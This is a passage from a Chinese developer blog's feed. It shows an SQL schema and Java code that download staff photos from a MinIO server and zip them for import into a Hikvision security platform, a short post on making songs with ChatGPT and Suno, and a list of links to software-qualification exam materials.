</span><br><span class="line">    org_name              varchar(100)  null comment &#x27;组织名称&#x27;,  </span><br><span class="line">    org_path              varchar(1024) null comment &#x27;组织路径&#x27;,  </span><br><span class="line">    parent_org_index_code varchar(64)   null comment &#x27;父级组织(0标识为根组织)&#x27;,  </span><br><span class="line">    parent_org_name       varchar(64)   null comment &#x27;父级组织名称&#x27;,  </span><br><span class="line">    update_time           datetime      null comment &#x27;更新时间&#x27;,  </span><br><span class="line">    unit_id               bigint        not null comment &#x27;企业id&#x27;  </span><br><span class="line">)  </span><br><span class="line">    charset = utf8mb3  </span><br><span class="line">    row_format = DYNAMIC;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/7798b340a5b533cb3734e64914587bb9.png" alt="image.png"></p><h4 id="导入后效果查看">导入后效果查看</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/ee0a64de717ff02d4dc2bf8beefe9cd1.png" alt="image.png"><br>安防平台可以分别导入人员信息和人员照片，照片按照<code>姓名_身份证号.jpg</code>多个一起压缩导入。这也是为什么有上一篇从文件服务器取流改名压缩文件的原因。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;前几天对接了海康平台做二次开发，主要涉及到卡口车辆出入、人员刷脸或者刷卡进出等方面，做个记录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;卡口相关&quot;&gt;卡口相关&lt;/h2&gt;
&lt;h3 id=&quot;首先通过海康安防平台的api查询出入口的终端地址和父设</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="海康" scheme="https://blog.allbs.cn/tags/%E6%B5%B7%E5%BA%B7/"/>
    
    <category term="对接" scheme="https://blog.allbs.cn/tags/%E5%AF%B9%E6%8E%A5/"/>
    
  </entry>
  
  <entry>
    <title>获取文件服务的文件并打包压缩至本地</title>
    <link href="https://blog.allbs.cn/posts/32036/"/>
    <id>https://blog.allbs.cn/posts/32036/</id>
    <published>2024-04-07T07:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言">前言</h2><p>当前项目有这样一个需求，mysql数据库中一张人员表存放了人员的照片路径，照片是集中存放在文件服务器上，当前项目文件服务器使用的是<code>minio</code></p><h2 id="表结构（供参考，只为了取值）">表结构（供参考，只为了取值）</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> IF <span class="keyword">EXISTS</span> `cm_person`;</span><br><span class="line"><span class="keyword">CREATE TABLE</span> `cm_person`  (</span><br><span class="line">  `person_id` <span class="type">bigint</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;人员ID&#x27;</span>,</span><br><span class="line">  `unit_id` <span class="type">bigint</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;单位id&#x27;</span>,</span><br><span class="line">  `depart_id` <span class="type">bigint</span>(<span class="number">20</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;部门ID&#x27;</span>,</span><br><span class="line">  `name` <span class="type">varchar</span>(<span class="number">100</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;姓名&#x27;</span>,</span><br><span class="line">  `person_group` tinyint(<span class="number">2</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;组别&#x27;</span>,</span><br><span class="line">  `code` <span class="type">varchar</span>(<span class="number">100</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;人员编号&#x27;</span>,</span><br><span class="line">  `tel` <span class="type">varchar</span>(<span class="number">15</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;电话&#x27;</span>,</span><br><span class="line">  `mobile` <span class="type">varchar</span>(<span class="number">15</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;手机号&#x27;</span>,</span><br><span class="line">  `sex` tinyint(<span class="number">1</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;性别&#x27;</span>,</span><br><span class="line">  `birth_date` <span class="type">date</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;出生日期&#x27;</span>,</span><br><span class="line">  `address` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;地址&#x27;</span>,</span><br><span class="line">  `id_card` <span class="type">varchar</span>(<span class="number">20</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;身份证号&#x27;</span>,</span><br><span class="line">  `photo_url` <span class="type">varchar</span>(<span class="number">100</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;照片路径&#x27;</span>,</span><br><span class="line">  `remark` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;备注&#x27;</span>,</span><br><span class="line">  `nation` <span class="type">varchar</span>(<span class="number">20</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;民族&#x27;</span>,</span><br><span class="line">  `native_place` <span class="type">varchar</span>(<span class="number">200</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;籍贯&#x27;</span>,</span><br><span class="line">  `school` <span class="type">varchar</span>(<span class="number">50</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;最后毕业的学校&#x27;</span>,</span><br><span class="line">  `major` <span class="type">varchar</span>(<span class="number">50</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;专业&#x27;</span>,</span><br><span class="line">  `qualifications` tinyint(<span class="number">2</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;1：大专及以下  2：本科  3：硕士 4：博士&#x27;</span>,</span><br><span class="line">  `degree` <span class="type">varchar</span>(<span class="number">20</span>) <span class="keyword">CHARACTER SET</span> utf8 <span class="keyword">COLLATE</span> utf8_general_ci <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;最高学位&#x27;</span>,</span><br><span class="line">  `political_belief` tinyint(<span class="number">2</span>) <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span> COMMENT <span class="string">&#x27;政治面貌(\&#x27;</span><span class="number">1</span>：中共党员 <span class="number">2</span>：中共预备党员 <span class="number">3</span>：共青团员  <span class="number">4</span>：民革党员  <span class="number">5</span>：民盟盟员  <span class="number">6</span>：民建会员   <span class="number">7</span>：民进会员  <span class="number">8</span>：农工党党员   <span class="number">9</span>：致公党党员  <span class="number">10</span>：九三学社社员  <span class="number">11</span>：台盟盟员 <span class="number">12</span>：无党派人士  <span class="number">13</span>：群众)<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `post_id` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span>职务<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `safe_role` tinyint(255) NOT NULL DEFAULT 0 COMMENT &#x27;</span>人员在企业中的安全角色 <span class="number">1</span>：分管领导、<span class="number">3</span>：安全总监、<span class="number">4</span>：安全管理部门负责人、<span class="number">5</span>：车间主任、<span class="number">6</span>：安全管理人员、<span class="number">7</span>：特种作业人员、<span class="number">9.</span> 主要负责人<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `hiredate` date NULL DEFAULT NULL COMMENT &#x27;</span>入职时间<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `work_experience` varchar(500) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span>工作经历<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `person_type` tinyint(2) NULL DEFAULT NULL COMMENT &#x27;</span><span class="number">1</span>；外协员工\r\n2：临时人员\r\n3：员工<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `del_flg` tinyint(2) NOT NULL COMMENT &#x27;</span><span class="number">0</span>：正常 <span class="number">1</span>逻辑删除<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `create_id` bigint(20) NOT NULL COMMENT &#x27;</span>创建人id<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `create_time` datetime(0) NOT NULL COMMENT &#x27;</span>创建时间<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `update_id` bigint(20) NOT NULL COMMENT &#x27;</span>更新人id<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `update_time` datetime(0) NOT NULL COMMENT &#x27;</span>更新时间<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `hk_person_id` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span>海康平台人员id<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `hk_person_code` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span>海康平台卡号<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `is_apply` tinyint(1) NULL DEFAULT 0 COMMENT &#x27;</span>是否为申请人<span class="number">1</span>：是    <span class="number">0</span>：否<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `synchronization_status` tinyint(2) NULL DEFAULT NULL COMMENT &#x27;</span>同步状态 <span class="number">0</span>：否 <span class="number">1</span>：是<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `flag` tinyint(1) NULL DEFAULT NULL COMMENT &#x27;</span>正常<span class="number">0</span>   无照片<span class="number">1</span>   未开卡<span class="number">2</span>    <span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `hk_face_id` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span>海康平台人脸ID<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  `hk_handle_status` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#x27;</span><span class="number">0</span>:无人脸数据 <span class="number">1</span>:增加人脸 <span class="number">2</span>：修改人脸<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">  PRIMARY KEY (`person_id`) USING BTREE</span></span><br><span class="line"><span class="string">) ENGINE = InnoDB AUTO_INCREMENT = 5581 CHARACTER SET = utf8 COLLATE = utf8_general_ci COMMENT = &#x27;</span>公共<span class="operator">-</span>企业人员信息<span class="string">&#x27; ROW_FORMAT = Dynamic;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">SET FOREIGN_KEY_CHECKS = 1;</span></span><br></pre></td></tr></table></figure><h3 id="工具说明">工具说明</h3><p>代码中主要使用了如下工具</p><ul><li><code>HikariCP</code>数据库连接池</li><li><code>mybatis plus</code>持久层框架</li><li><code>minio</code>文件服务器，使用了<code>allbs-oss</code>自开发的支持S3协议的操作工具</li></ul><h3 id="源码地址">源码地址</h3><p><a href="https://github.com/chenqi92/photo-tool.git">https://github.com/chenqi92/photo-tool.git</a></p><h3 id="源码说明">源码说明</h3><h4 id="使用allbs-oss文件操作工具连接minio文件服务器">使用<code>allbs-oss</code>文件操作工具连接minio文件服务器</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">oss:</span><br><span class="line">  # 连接地址，因为我在host中配置了pc-server的ip所以这边直接用字符串即可</span><br><span class="line">  endpoint: http://pc-server:9000</span><br><span class="line">  # 地区</span><br><span class="line">  region: us-west-rack-2</span><br><span class="line">  # minio账号</span><br><span class="line">  access-key: minio</span><br><span class="line">  # minio密码</span><br><span class="line">  secret-key: 123456</span><br><span class="line">  # 文件服务器上默认的储存桶，用于区分项目时使用，可为空</span><br><span class="line">  bucket-name:</span><br></pre></td></tr></table></figure><h4 id="application添加注解-EnableAllbsOss启用该工具">application添加注解<code>@EnableAllbsOss</code>启用该工具</h4><h4 id="创建一个项目启动即可执行的类">创建一个项目启动即可执行的类</h4><p>实现<code>CommandLineRunner</code>即可</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DownAllPhoto</span> <span class="keyword">implements</span> <span class="title class_">CommandLineRunner</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">(String... args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="查询数据库中想要的人员数据，并转为以姓名-身份证号的形式下载后打包至D盘中">查询数据库中想要的人员数据，并转为以姓名_身份证号的形式下载后打包至D盘中</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.phototool.task;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.oss.service.OssTemplate;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.phototool.entity.cm.CmPersonEntity;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.phototool.service.cm.CmPersonService;</span><br><span class="line"><span class="keyword">import</span> com.amazonaws.services.s3.model.S3Object;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.Wrappers;</span><br><span class="line"><span class="keyword">import</span> jakarta.annotation.Resource;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.CommandLineRunner;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Path;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.StandardCopyOption;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.ZipEntry;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.ZipOutputStream;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DownAllPhoto</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2024/4/7</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DownAllPhoto</span> <span class="keyword">implements</span> <span class="title class_">CommandLineRunner</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Resource</span></span><br><span class="line">    <span class="keyword">private</span> CmPersonService cmPersonService;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Resource</span></span><br><span class="line">    <span class="keyword">private</span> OssTemplate ossTemplate;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">(String... args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 查询人员相关信息</span></span><br><span class="line">        List&lt;CmPersonEntity&gt; persons = cmPersonService.list(Wrappers.&lt;CmPersonEntity&gt;query().lambda().isNull(CmPersonEntity::getHkPersonId).and(i -&gt; i.isNotNull(CmPersonEntity::getPhotoUrl).or().isNotNull(CmPersonEntity::getPhotoUrl)));</span><br><span class="line">        log.info(<span class="string">&quot;当前查询到人员总数:&#123;&#125;&quot;</span>, persons.size());</span><br><span class="line">        <span class="comment">// 创建一个文件夹来保存图片</span></span><br><span class="line">        <span class="type">Path</span> <span class="variable">dirPath</span> <span class="operator">=</span> Paths.get(<span class="string">&quot;tempImages&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!Files.exists(dirPath)) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                Files.createDirectory(dirPath);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">                log.error(<span class="string">&quot;创建文件夹失败&quot;</span>, e);</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 获取文件服务器中的文件</span></span><br><span class="line">        persons.forEach(person -&gt; &#123;</span><br><span class="line">            <span class="keyword">try</span> (<span class="type">S3Object</span> <span class="variable">s3Object</span> <span class="operator">=</span> ossTemplate.getObject(<span class="string">&quot;pcfiles&quot;</span>, person.getPhotoUrl())) &#123;</span><br><span class="line">                <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> s3Object.getObjectContent();</span><br><span class="line">                <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> person.getName() + <span class="string">&quot;_&quot;</span> + person.getIdCard() + <span class="string">&quot;.jpg&quot;</span>;</span><br><span class="line">                log.info(<span class="string">&quot;下载文件:&#123;&#125;&quot;</span>, fileName);</span><br><span class="line">                <span class="type">Path</span> <span class="variable">outputPath</span> <span class="operator">=</span> dirPath.resolve(fileName);</span><br><span class="line">                Files.copy(inputStream, outputPath, StandardCopyOption.REPLACE_EXISTING);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                log.error(<span class="string">&quot;文件下载失败&quot;</span>, e);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="comment">// 创建一个ZIP文件</span></span><br><span class="line">        <span class="type">Path</span> <span class="variable">zipPath</span> <span class="operator">=</span> Paths.get(<span class="string">&quot;D:\\images.zip&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">ZipOutputStream</span> <span class="variable">zos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ZipOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(zipPath.toFile()))) &#123;</span><br><span class="line">            Files.walk(dirPath).filter(path -&gt; !Files.isDirectory(path)).forEach(path -&gt; &#123;</span><br><span class="line">                <span class="type">ZipEntry</span> <span class="variable">zipEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ZipEntry</span>(dirPath.relativize(path).toString());</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    zos.putNextEntry(zipEntry);</span><br><span class="line">                    Files.copy(path, zos);</span><br><span class="line">                    zos.closeEntry();</span><br><span class="line">                &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">                    log.error(<span class="string">&quot;添加文件到ZIP失败&quot;</span>, e);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;创建ZIP文件失败&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="实现效果">实现效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/7dd39ea7dc35764540c03095ce0b3479.png" alt="image-20240407171414426"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/547147f1e814108d984eeb72becf1855.png" alt="image-20240407171439848"></p>]]></content>
    
    
    <summary type="html">根据文件路径获取指定的文件流后打包压缩至指定盘中</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="文件流" scheme="https://blog.allbs.cn/tags/%E6%96%87%E4%BB%B6%E6%B5%81/"/>
    
  </entry>
  
  <entry>
    <title>使用ai创作歌曲</title>
    <link href="https://blog.allbs.cn/posts/32631/"/>
    <id>https://blog.allbs.cn/posts/32631/</id>
    <published>2024-03-26T07:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="使用ChatGPT生成歌词">使用ChatGPT生成歌词</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/563d5f6db3281b3251d66e6f97ec87d6.png" alt="image-20240326150154193"></p><p>模板为:</p><p>你是歌词大师，请你帮我写一段xx得歌词，描述的是xxx的故事，整体歌曲时长3分钟以内，歌词要押韵，副歌部分要进行重复。请按以下结构帮我创作：[instrumental intro][Verse 1] &lt;歌词&gt;[Chorus] &lt;歌词&gt;[Verse 2] &lt;歌词&gt;[Chorus] &lt;歌词&gt;[Bridge] &lt;歌词&gt;[Guitar solo][Chorus] &lt;歌词&gt;[Outro][End]</p><h2 id="使用Suno-ai生成对应得歌曲">使用Suno ai生成对应得歌曲</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/1fdd965ac091b378b5f0829cae6862b9.png" alt="image-20240326150511366"></p><h3 id="下载歌曲">下载歌曲</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/4d17877c4b083732578fe29e3779f9f0.png" alt="image-20240326150548482"></p>]]></content>
    
    
    <summary type="html">使用chatgpt生成歌词，并使用Suno ai生成歌曲</summary>
    
    
    
    <category term="ai" scheme="https://blog.allbs.cn/categories/ai/"/>
    
    
    <category term="歌曲" scheme="https://blog.allbs.cn/tags/%E6%AD%8C%E6%9B%B2/"/>
    
  </entry>
  
  <entry>
    <title>软考资料收集与分享</title>
    <link href="https://blog.allbs.cn/posts/31848/"/>
    <id>https://blog.allbs.cn/posts/31848/</id>
    <published>2024-03-26T00:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h1>报名地址</h1><p><a href="https://bm.ruankao.org.cn/sign/welcome">https://bm.ruankao.org.cn/sign/welcome</a></p><h1>资料分享</h1><h2 id="中级">中级</h2><h3 id="软件评测师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_14">软件评测师</a></h3><p><a href="https://www.alipan.com/s/K9aooh1DVSg">https://www.alipan.com/s/K9aooh1DVSg</a></p><h3 id="软件设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_15">软件设计师</a></h3><p><a href="https://www.alipan.com/s/25rom42VEVw">https://www.alipan.com/s/25rom42VEVw</a></p><h3 id="软件过程能力评估师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_16">软件过程能力评估师</a></h3><h3 id="网络工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_24">网络工程师</a></h3><p><a href="https://www.alipan.com/s/ZZ4huSTU552">https://www.alipan.com/s/ZZ4huSTU552</a></p><h3 id="多媒体应用设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_34">多媒体应用设计师</a></h3><p><a href="https://www.alipan.com/s/KrsCyZfFuvj">https://www.alipan.com/s/KrsCyZfFuvj</a></p><h3 id="嵌入式系统设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_35">嵌入式系统设计师</a></h3><p><a href="https://www.alipan.com/s/aVsY3Kv5qiR">https://www.alipan.com/s/aVsY3Kv5qiR</a></p><h3 id="计算机辅助设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_36">计算机辅助设计师</a></h3><h3 id="电子商务设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_37">电子商务设计师</a></h3><p><a href="https://www.alipan.com/s/KHzdWa5Rtqs">https://www.alipan.com/s/KHzdWa5Rtqs</a></p><h3 id="系统集成项目管理工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_43">系统集成项目管理工程师</a></h3><p><a href="https://www.alipan.com/s/YPjeXXPoTi1">https://www.alipan.com/s/YPjeXXPoTi1</a></p><h3 id="信息系统监理师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_44">信息系统监理师</a></h3><p><a href="https://www.alipan.com/s/XCkc8K59BZq">https://www.alipan.com/s/XCkc8K59BZq</a></p><h3 id="信息安全工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_47">信息安全工程师</a></h3><p><a 